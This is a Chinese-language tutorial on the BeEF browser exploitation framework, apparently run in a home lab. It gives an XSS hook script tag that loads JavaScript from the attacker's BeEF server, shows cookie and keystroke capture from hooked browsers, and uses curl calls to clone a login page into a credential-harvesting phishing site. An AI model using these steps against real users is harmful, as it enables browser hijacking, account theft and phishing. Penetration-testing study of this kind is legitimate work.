一. BeEF介绍

1. 简单介绍

BeEF是”Browser Exploitation Framework“的缩写,它是一种开源渗透测试工具,专注于利用 Web 浏览器中的漏洞。

BeEF 始于 2006 年,是一个 Ruby 语言所写的项目,由 Wade Alcorn 领导的团队开发。在人们越来越关注针对 Web 和移动客户端的 Web 传播攻击的情况下,BeEF 允许渗透测试人员使用客户端攻击媒介来评估目标环境的安全状况。与其他安全框架不同,BeEF 超越了强化的网络边界和客户端系统,并在一扇开放的门(Web 浏览器)的上下文中检查可利用性。BeEF 将钩住一个或多个 Web 浏览器,并使用它们从浏览器上下文中启动定向命令模块和对系统的进一步攻击。

2. 安装

Kali Linux里有,没有的话自行使用apt-get isntall beef-xss安装

二. BeEF使用

1. 初次使用

(1) 启动

安装好后,终端输入beef-xss即可启动

这样他就启动了,并弹出一个浏览器窗口。需要你进行登录

可以看到,BeEF的启动其实是启动了一个服务,不过他好像说少什么东西。

(2) 得到BeEF路径

我们再次运行

他会告诉你beef-xss的端口已经被用了,也就是刚才开启的BeEF占用的,得到BeEF的地址

(3) BeEF关闭

我们现在需要配置文件,把BeEF服务关闭。

1
systemctl stop beef-xss.service

(4) BeEF重启

1
systemctl restart beef-xss.service

2. 基本使用

(1) 配置

我们打开config

可以看到它的一些配置

I. 认证凭据
1
2
3
credentials:
user: beef
passwd: '123456'

上面说到,浏览器打开窗口后,出现个登录界面,这里就是登录的账号密码

  • 默认账号: beef
  • 默认密码: 123456

你也可以自己改。

我们现在登录一下

登录进去了

II. 网络限制

我们刚才是在kali主机访问的,我们用其他机器看看能不能访问。

可以看到,能够访问。

而这个网络限制能做到网页的访问限制

1
2
3
4
5
6
7
8
9
restrictions:
permitted_hooking_subnet:
- 0.0.0.0/0
- "::/0"
permitted_ui_subnet:
- 0.0.0.0/0
- "::/0"
excluded_hooking_subnet: []
api_attempt_delay: '0.05'

permitted_hooking_subnet不用管他,permitted_ui_subnet可以限制管理的访问地址。

重启一下BeEF

可以看到左面受到了访问限制

excluded_hooking_subnetapi_attempt_delay不用管它。

III. 网络服务器配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
http:
debug: false
host: 192.168.1.208
port: '3000'
xhr_poll_timeout: 1000
allow_reverse_proxy: false
hook_file: "/hook.js"
hook_session_name: BEEFHOOK
restful_api:
allow_cors: false
cors_allowed_domains: http://browserhacker.com
websocket:
enable: false
port: 61985
secure: true
secure_port: 61986
ws_poll_timeout: 5000
ws_connect_timeout: 500
web_server_imitation:
enable: true
type: apache
hook_404: false
hook_root: false
https:
enable: false
public_enabled: false
key: beef_key.pem
cert: beef_cert.pem
  • debug: 是否会在BeEF控制台中打印详细信息,默认为Flase
  • host: 这是web服务器的IP地址,默认为0.0.0.0,把host改成自己的IP
  • port: 服务启动时占用的端口,默认为3000,如果出现端口占用就换了

其他东西不用管,默认就行了。

(2) 网页设置

I. 进入网页

我们登录网页

由于我们设置了host,所以地址应该和host一样。

登录进去,进入之后时这样的

II. hook

我们第一次进去的时候,发现啥也没有。

我们看这里

这里给了一个Hook,这不就是XSS注入的代码嘛,我们试试

1
<script src="http://192.168.1.208:3000/hook.js"></script>

回车

我们回到BeEF

发现有了一个上线主机,点击可以看到详细信息

III. 选项卡介绍 - Details

首先是Details

这里是浏览器的详情信息

IV. 选项卡介绍 - Logs

然后是Logs

这里会记录浏览器的操作。

比如我在浏览器输入点东西

回去看Logs

全部都记录下来了,点击,输入操作都能记录

V. 选项卡介绍 - Commands

然后是Commands

这里是是你能对该浏览器进行哪些操作,有很多的模块

在每个模块之前,可以看到有不同颜色的图标。这是代表BeEF检测挂接的浏览器并正在使用哪些模块

  • 绿色:命令模块对目标起作用,对用户应该是不可见的
  • 橙色:命令模块对目标起作用,但可能对用户可见
  • 灰色:尚未针对此目标验证命令模块
  • 红色:命令模块不适用于此目标

比如说这个Get Cookie

现在啥也没有对吧

点击一下右下角的东西

这样就得到cookie了。

VI. 选项卡介绍 - Zombies

我们刚才得到cookie时,去看看Zombies

这个IP被添加到了里头

(3) 信息收集

我们得到了一个网站,第一件是进行信息收集

I. 浏览器指纹识别

当浏览器Hook时,BeEF 会自动收集几条信息,包括:

  • 浏览器名称和版本
  • 浏览器用户代理
  • 插件(包括Java,ActiveX,VBS,Flash等)

内容都在Details

不过也有一个专门的模块

II. 系统信息收集

内容也都在Details

也有一个专门的模块

不过只支持Java框架

III. 用户行为指纹识别

两个模块

(4) 其他

还有其他功能自己去Wiki看

Home · beefproject/beef Wiki (github.com)

其他功能有

信息收集:

1.网络发现
2.主机信息
3.Cookie获取
4.会话劫持
5.键盘记录
6.插件信息

持久化控制:

1.确认弹框
2.小窗口
3.中间人

社会工程:

1.点击劫持
2.弹窗告警
3.虚假页面
4.钓鱼页面

渗透攻击:

1.内网渗透
2.Metasploit
3.CSRF攻击
4.DDOS攻击

不过这些其他功能,都有比他好的工具,所以不常用

比如说社工经常用setoolkit,内网经常用CS

3. 网站克隆

I. 网站克隆介绍

想要用BeEF进行克隆的话,我们必须要从文件夹里打开它

这样会得到一个API Key

1
1344cff0d391d558fd680e4172bdde89d29a0320

当然,这是我的BeEF的key,你们用我的是不好使的。

这个克隆没啥好讲的,就是一个命令

1
2
3
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site
to clone>", "mount":"<where to mount>"}' -X POST
http://<BeEFURL>/api/seng/clone_page?token=<token>

curl-H参数是参数添加 HTTP 请求的标头;-d参数用于发送 POST 请求的数据体; -x参数指定 HTTP 请求的代理

这里的<URL of site to clone>是需要克隆的网址;<where to mount>是克隆页面在服务器的根目录,也就是你要把克隆页面放到你服务器的哪里;<token>是服务启动时的 beef API key

比如说我克隆自己的网站

1
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.trtyr.top", "mount":"/clone_site_trtyr"}' -X POST 192.168.1.208:3000/api/seng/clone_page?token=6dd8bef1c31ce94241b3a78b448868b033f3027c

看一下路径

1
/var/lib/beef-xss/extensions/social_engineering/web_cloner/cloned_pages/

我们想要访问也容易

可以看到,克隆成功。

然后你就可以在BeEF里看到它了

II. 克隆网站得到账号密码

我们克隆一个登录界面

我们要克隆它

1
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://192.168.1.214/dvwa/login.php", "mount":"/clone_site_dvwa"}' -X POST 192.168.1.208:3000/api/seng/clone_page?token=6dd8bef1c31ce94241b3a78b448868b033f3027c

克隆成功

我们访问一下

这样,钓鱼网站就做好了。

我们在这个钓鱼网站输入账号密码

会显示服务器错误

不过我们的BeEF已经得到了账号密码